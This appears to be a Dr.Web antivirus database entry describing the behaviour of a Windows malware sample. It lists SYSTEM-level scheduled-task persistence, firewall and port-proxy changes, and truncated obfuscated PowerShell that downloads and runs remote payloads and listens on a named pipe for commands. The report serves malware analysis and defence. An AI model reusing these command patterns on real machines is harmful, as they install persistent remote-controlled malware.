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Added to the Dr.Web virus database: 2020-05-30

Virus description added:

Technical Information

To ensure autorun and distribution
Creates or modifies the following files
  • <SYSTEM32>\tasks\blackball
  • <SYSTEM32>\tasks\lmxl9cjf1p
  • <SYSTEM32>\tasks\zfh04zh7\901wonr25
  • <SYSTEM32>\tasks\microsoft\windows\muhovtr\d3nccvj2g
  • <SYSTEM32>\tasks\
  • <SYSTEM32>\tasks\lvyhoydu
  • <SYSTEM32>\tasks\vsx5nkod\o5eucs3uqy
Malicious functions
Executes the following
  • '<SYSTEM32>\netsh.exe' firewall add portopening tcp 65529 SDNSd
  • '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name=deny445 dir=in protocol=tcp localport=445 action=block
  • '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name=deny135 dir=in protocol=tcp localport=135 action=block
Modifies file system
Creates the following files
  • %WINDIR%\temp\if.bin
  • %WINDIR%\temp\m6.bin
  • %WINDIR%\temp\m6.bin.exe.ori
  • %WINDIR%\temp\ac5scsam.0.cs
  • %WINDIR%\temp\ac5scsam.cmdline
  • %WINDIR%\temp\ac5scsam.out
  • %WINDIR%\temp\ac5scsam.pdb
  • %WINDIR%\temp\cscf9ed.tmp
  • %WINDIR%\temp\resf9fe.tmp
  • %WINDIR%\temp\ac5scsam.dll
Deletes the following files
  • %WINDIR%\temp\resf9fe.tmp
  • %WINDIR%\temp\cscf9ed.tmp
  • %WINDIR%\temp\ac5scsam.dll
  • %WINDIR%\temp\ac5scsam.0.cs
  • %WINDIR%\temp\ac5scsam.cmdline
  • %WINDIR%\temp\ac5scsam.out
  • %WINDIR%\temp\ac5scsam.pdb
Network activity
HTTP GET requests
Creates and executes the following
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]:...' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase6...' (with hidden window)
  • '%WINDIR%\\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\ac5scsam.cmdline"' (with hidden window)
  • '%WINDIR%\\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESF9FE.tmp" "%WINDIR%\Temp\CSCF9ED.tmp"' (with hidden window)
  • '<SYSTEM32>\cmd.exe' powershell -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose...' (with hidden window)
Executes the following
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 120 /tn blackball /F /tr blackball
  • '%WINDIR%\\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESF9FE.tmp" "%WINDIR%\Temp\CSCF9ED.tmp"
  • '%WINDIR%\\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\ac5scsam.cmdline"
  • '<SYSTEM32>\schtasks.exe' /run /tn VsX5nkOD\o5eucS3UQY
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn VsX5nkOD\o5eucS3UQY /F /tr "powershell -c PS_CMD"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase6...
  • '<SYSTEM32>\schtasks.exe' /run /tn \LvYHoydU
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \LvYHoydU /F /tr "powershell -c PS_CMD"
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 120 /tn /F /tr
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "try{$localMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalMn',[ref]$localMn)}catch{};$ifmd5='5b2849ff2e8c335dcc60fd2155b2d4d3';$ifp=$env:tmp+'\m6.bin';$down_url='
  • '<SYSTEM32>\cmd.exe' /c powershell -c "try{$localMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalMn',[ref]$localMn)}catch{};$ifmd5='5b2849ff2e8c335dcc60fd2155b2d4d3';$ifp=$env:tmp+'\m6.bin';$down_url='http...
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='e5ae6d154a6befc00deea0ccb49dc9b8';$ifp=$env:tmp+'\if.bin';$down_url='
  • '<SYSTEM32>\cmd.exe' powershell -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose...
  • '<SYSTEM32>\cmd.exe' /c powershell -c "try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='e5ae6d154a6befc00deea0ccb49dc9b8';$ifp=$env:tmp+'\if.bin';$down_url='http...
  • '<SYSTEM32>\cmd.exe' /c netsh.exe firewall add portopening tcp 65529 SDNSd
  • '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa /F
  • '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa1 /F
  • '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa2 /F
  • '<SYSTEM32>\schtasks.exe' /run /tn MicroSoft\Windows\mUhOVtR\D3ncCvJ2g
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\mUhOVtR\D3ncCvJ2g /F /tr "powershell -w hidden -c PS_CMD"
  • '<SYSTEM32>\schtasks.exe' /run /tn zFh04ZH7\901WONR25
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn zFh04ZH7\901WONR25 /F /tr "powershell -w hidden -c PS_CMD"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]:...
  • '<SYSTEM32>\schtasks.exe' /run /tn \lmXL9cJF1P
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \lmXL9cJF1P /F /tr "powershell -w hidden -c PS_CMD"
  • '<SYSTEM32>\netsh.exe' interface portproxy add v4tov4 listenport=65529 connectaddress= connectport=53
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose();$pipe.Di...

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